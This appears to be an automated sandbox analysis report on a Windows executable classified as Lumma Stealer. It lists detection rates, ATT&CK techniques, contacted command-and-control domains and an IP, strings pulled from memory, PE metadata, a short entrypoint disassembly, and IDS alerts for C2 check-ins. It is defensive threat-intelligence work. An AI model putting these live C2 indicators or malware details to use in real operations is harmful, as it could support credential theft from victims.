Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	241 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	3 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	33 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
uUtgy7BbF1.exe	69%	Virustotal		Browse
uUtgy7BbF1.exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
uUtgy7BbF1.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://volcanohushe.click/T	100%	Avira URL Cloud	malware
https://volcanohushe.click/	100%	Avira URL Cloud	malware
https://volcanohushe.click/apiNA	100%	Avira URL Cloud	malware
https://volcanohushe.click/apiND	100%	Avira URL Cloud	malware
https://volcanohushe.click/api	100%	Avira URL Cloud	malware
https://volcanohushe.click:443/apiCLSID	100%	Avira URL Cloud	malware
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.	0%	Avira URL Cloud	safe
https://volcanohushe.click/apip	100%	Avira URL Cloud	malware
volcanohushe.click	100%	Avira URL Cloud	malware
https://volcanohushe.click/apis	100%	Avira URL Cloud	malware
https://volcanohushe.click/ND	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
volcanohushe.click	104.21.71.155	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
wordyfindy.lat	false		high
curverpluch.lat	false		high
slipperyloo.lat	false		high
tentabatte.lat	false		high
manyrestro.lat	false		high
shapestickyr.lat	false		high
talkynicer.lat	false		high
https://volcanohushe.click/api	true	Avira URL Cloud: malware	unknown
bashfulacid.lat	false		high
volcanohushe.click	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	uUtgy7BbF1.exe, 00000003.00000003.1390347162.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390264201.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390152896.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://volcanohushe.click/T	uUtgy7BbF1.exe, 00000003.00000003.2171537898.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.2171711444.00000000011E3000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1523262871.00000000011E4000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000002.2569920904.00000000011E4000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1509986181.00000000011E4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	uUtgy7BbF1.exe, 00000003.00000003.1390347162.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390264201.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390152896.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	uUtgy7BbF1.exe, 00000003.00000003.1390347162.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390264201.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390152896.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://volcanohushe.click/	uUtgy7BbF1.exe, 00000003.00000003.1509986181.00000000011E4000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1480945277.000000000116B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://volcanohushe.click:443/apiCLSID	uUtgy7BbF1.exe, 00000003.00000003.1562773864.0000000001169000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	uUtgy7BbF1.exe, 00000003.00000003.1390347162.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390264201.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390152896.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	uUtgy7BbF1.exe, 00000003.00000003.1447453560.0000000003B8B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	uUtgy7BbF1.exe, 00000003.00000003.1390347162.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390264201.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390152896.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	uUtgy7BbF1.exe, 00000003.00000003.1447453560.0000000003B8B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5	uUtgy7BbF1.exe, 00000003.00000003.1448798991.0000000003B4D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	uUtgy7BbF1.exe, 00000003.00000003.1390347162.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390264201.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390152896.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	uUtgy7BbF1.exe, 00000003.00000003.1448490159.0000000003DF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.	uUtgy7BbF1.exe, 00000003.00000003.1448798991.0000000003B4D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://volcanohushe.click/apiNA	uUtgy7BbF1.exe, 00000003.00000003.1389246708.000000000116B000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1389102087.0000000001169000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1389289848.0000000001189000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://volcanohushe.click/apiND	uUtgy7BbF1.exe, 00000003.00000003.1389246708.000000000116B000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1389102087.0000000001169000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1389289848.0000000001189000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	uUtgy7BbF1.exe, 00000003.00000003.1390347162.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390264201.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390152896.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	uUtgy7BbF1.exe, 00000003.00000003.1448798991.0000000003B4D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	uUtgy7BbF1.exe, 00000003.00000003.1447453560.0000000003B8B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	uUtgy7BbF1.exe, 00000003.00000003.1447453560.0000000003B8B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	uUtgy7BbF1.exe, 00000003.00000003.1390347162.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390264201.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390152896.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	uUtgy7BbF1.exe, 00000003.00000003.1447453560.0000000003B8B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	uUtgy7BbF1.exe, 00000003.00000003.1448798991.0000000003B4D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta	uUtgy7BbF1.exe, 00000003.00000003.1448798991.0000000003B4D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	uUtgy7BbF1.exe, 00000003.00000003.1448798991.0000000003B4D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	uUtgy7BbF1.exe, 00000003.00000003.1448798991.0000000003B4D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://volcanohushe.click/apip	uUtgy7BbF1.exe, 00000003.00000003.1562872208.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.2171694091.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000002.2569837325.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1562578102.00000000011C4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://volcanohushe.click/apis	uUtgy7BbF1.exe, 00000003.00000003.1510242320.00000000011C9000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1510107757.00000000011C4000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1562872208.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.2171694091.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000002.2569837325.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1562578102.00000000011C4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	uUtgy7BbF1.exe, 00000003.00000003.1448490159.0000000003DF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	uUtgy7BbF1.exe, 00000003.00000003.1390347162.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390264201.0000000003B08000.00000004.00000800.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000003.1390152896.0000000003B0B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://volcanohushe.click/ND	uUtgy7BbF1.exe, 00000003.00000003.2171694091.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, uUtgy7BbF1.exe, 00000003.00000002.2569837325.00000000011C6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.71.155	volcanohushe.click	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581192
Start date and time:	2024-12-27 08:14:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	uUtgy7BbF1.exe renamed because original name is a hash value
Original Sample Name:	425be48f2d7cc72615c4cdfda5341832.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/1@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 48 Number of non-executed functions: 144
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.12.23.50
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:15:05	API Interceptor	8x Sleep call for process: uUtgy7BbF1.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.71.155	bas.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
volcanohushe.click	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.145.201
volcanohushe.click	bas.exe	Get hash	malicious	LummaC	Browse	104.21.71.155

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	x4PaiRVIyM.exe	Get hash	malicious	LummaC	Browse	172.67.175.134
	3vLKNycnrz.exe	Get hash	malicious	LummaC	Browse	104.21.62.151
	installer.bat	Get hash	malicious	Vidar	Browse	172.64.41.3
	skript.bat	Get hash	malicious	Vidar	Browse	162.159.61.3
	din.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	lem.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	markiz.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	utkin.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	0Gs0WEGB1E.dll	Get hash	malicious	Unknown	Browse	104.21.22.88
	Bootstrapper.exe	Get hash	malicious	LummaC	Browse	104.21.80.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	x4PaiRVIyM.exe	Get hash	malicious	LummaC	Browse	104.21.71.155
	3vLKNycnrz.exe	Get hash	malicious	LummaC	Browse	104.21.71.155
	Bootstrapper.exe	Get hash	malicious	LummaC	Browse	104.21.71.155
	NewI Upd v1.1.0.exe	Get hash	malicious	LummaC	Browse	104.21.71.155
	setup.exe	Get hash	malicious	LummaC	Browse	104.21.71.155
	exlauncher-unpadded.exe	Get hash	malicious	LummaC	Browse	104.21.71.155
	atw3.dll	Get hash	malicious	Gozi, Ursnif	Browse	104.21.71.155
	installer_1.05_36.4.zip	Get hash	malicious	NetSupport RAT, LummaC, LummaC Stealer	Browse	104.21.71.155
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	104.21.71.155
	cqHMm0ykDG.exe	Get hash	malicious	LummaC	Browse	104.21.71.155

Dropped Files

⊘No context

Created / dropped Files

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\uUtgy7BbF1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.906890595608518
Encrypted:	false
SSDEEP:	3:SXhRi75n:SC5
MD5:	3A33AF4BC7DC9699EE324B91553C2B46
SHA1:	4CCE2BF1011CA006FAAB23506A349173ACC40434
SHA-256:	226D20C16ED4D8DDDFD00870E83E3B6EEDEDB86704A7BF43B5826B71D61500AE
SHA-512:	960194C8B60C086520D1A76B94F52BA88AC2DDEC76A18B2D7ABF758FFFF138E9EDD23E62D4375A34072B42FBA51C6D186554B1AA71D60835EF1E18BEB8873B1D
Malicious:	false
Reputation:	low
Preview:	1.29548Enjoy!..

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	0.39346751807127767
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	uUtgy7BbF1.exe
File size:	19'414'528 bytes
MD5:	425be48f2d7cc72615c4cdfda5341832
SHA1:	093d262086312a5f86ec903ea321cfbe0d3bb4fe
SHA256:	4c55b2bc8fb77aaaf71552039073386e76cce6ee45fee54d2c8fd84aba97d691
SHA512:	d038f7255a91a0fb02268fb920a1bb5db4502e18c5f2ace67a1ccc384cd3ef1567eaafb7ff727436ce84d7d265027a2e7cb2fedfa9da7af65bf3fe49e7e8e847
SSDEEP:	12288:luB9du8NOZx84E5YoS7OJlnDYrPLPJgu4dgT6lYDfAmy/yqvkkheLk:u9du88Zx8VAeDgPLxZ4GO+y5heQ
TLSH:	FD17D011B58CC0F2D863147758B6EBAA863EB9200F226ADFB7940D7ACF352D19731716
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...WZig..........".................R.............@.......................................@.................................dH..<..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x40ef52
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695A57 [Mon Dec 23 12:40:55 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	5cc7e689f2864a0a9a8589c00efad8df

Entrypoint Preview

Instruction
call 00007F28306D4D6Ah
jmp 00007F28306D4BD9h
mov ecx, dword ptr [00436840h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F28306D4D66h
test esi, ecx
jne 00007F28306D4D88h
call 00007F28306D4D91h
mov ecx, eax
cmp ecx, edi
jne 00007F28306D4D69h
mov ecx, BB40E64Fh
jmp 00007F28306D4D70h
test esi, ecx
jne 00007F28306D4D6Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [00436840h], ecx
not ecx
pop edi
mov dword ptr [00436880h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [00434AC4h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [00434A78h]
xor dword ptr [ebp-04h], eax
call dword ptr [00434A74h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [00434B0Ch]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 00437E18h
call dword ptr [00434AE4h]
ret
mov al, 01h
ret
push 00030000h
push 00010000h
push 00000000h
call 00007F28306DC54Bh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x34864	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3a000	0x1d70	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x30d08	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2d008	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x34a0c	0x16c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2a52b	0x2a600	ca7697ad91eaacd837ed51179759a947	False	0.5367809734513275	data	6.539348053061756	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2c000	0x9d7c	0x9e00	964f1e27d13bf05fbdae349f651c8112	False	0.4288221914556962	data	4.95389314063731	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x36000	0x25e4	0x1600	f9cffcfbe2a982ed0d73caf2c5c26405	False	0.40678267045454547	data	4.770466622070642	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x39000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x3a000	0x1d70	0x1e00	050a442cf25b388dea29342e31853d9f	False	0.7709635416666667	data	6.524650010128688	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x3c000	0x4be00	0x4be00	efc7aa847f859737dfbd486ef2521483	False	1.0003249845551894	data	7.999368503304723	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CompareStringW, CreateFileW, CreateThread, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, ExitThread, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryAndExitThread, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameA, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WaitForSingleObjectEx, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

USER32.dll

DefWindowProcW

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T08:15:04.525486+0100	2058534	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (volcanohushe .click)	1	192.168.2.9	55687	1.1.1.1	53	UDP
2024-12-27T08:15:06.163000+0100	2058535	ET MALWARE Observed Win32/Lumma Stealer Related Domain (volcanohushe .click in TLS SNI)	1	192.168.2.9	49707	104.21.71.155	443	TCP
2024-12-27T08:15:06.163000+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49707	104.21.71.155	443	TCP
2024-12-27T08:15:06.908362+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49707	104.21.71.155	443	TCP
2024-12-27T08:15:06.908362+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49707	104.21.71.155	443	TCP
2024-12-27T08:15:08.351844+0100	2058535	ET MALWARE Observed Win32/Lumma Stealer Related Domain (volcanohushe .click in TLS SNI)	1	192.168.2.9	49708	104.21.71.155	443	TCP
2024-12-27T08:15:08.351844+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49708	104.21.71.155	443	TCP
2024-12-27T08:15:09.131944+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49708	104.21.71.155	443	TCP
2024-12-27T08:15:09.131944+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49708	104.21.71.155	443	TCP
2024-12-27T08:15:10.869660+0100	2058535	ET MALWARE Observed Win32/Lumma Stealer Related Domain (volcanohushe .click in TLS SNI)	1	192.168.2.9	49719	104.21.71.155	443	TCP
2024-12-27T08:15:10.869660+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49719	104.21.71.155	443	TCP
2024-12-27T08:15:13.916099+0100	2058535	ET MALWARE Observed Win32/Lumma Stealer Related Domain (volcanohushe .click in TLS SNI)	1	192.168.2.9	49725	104.21.71.155	443	TCP
2024-12-27T08:15:13.916099+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49725	104.21.71.155	443	TCP
2024-12-27T08:15:16.622137+0100	2058535	ET MALWARE Observed Win32/Lumma Stealer Related Domain (volcanohushe .click in TLS SNI)	1	192.168.2.9	49731	104.21.71.155	443	TCP
2024-12-27T08:15:16.622137+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49731	104.21.71.155	443	TCP
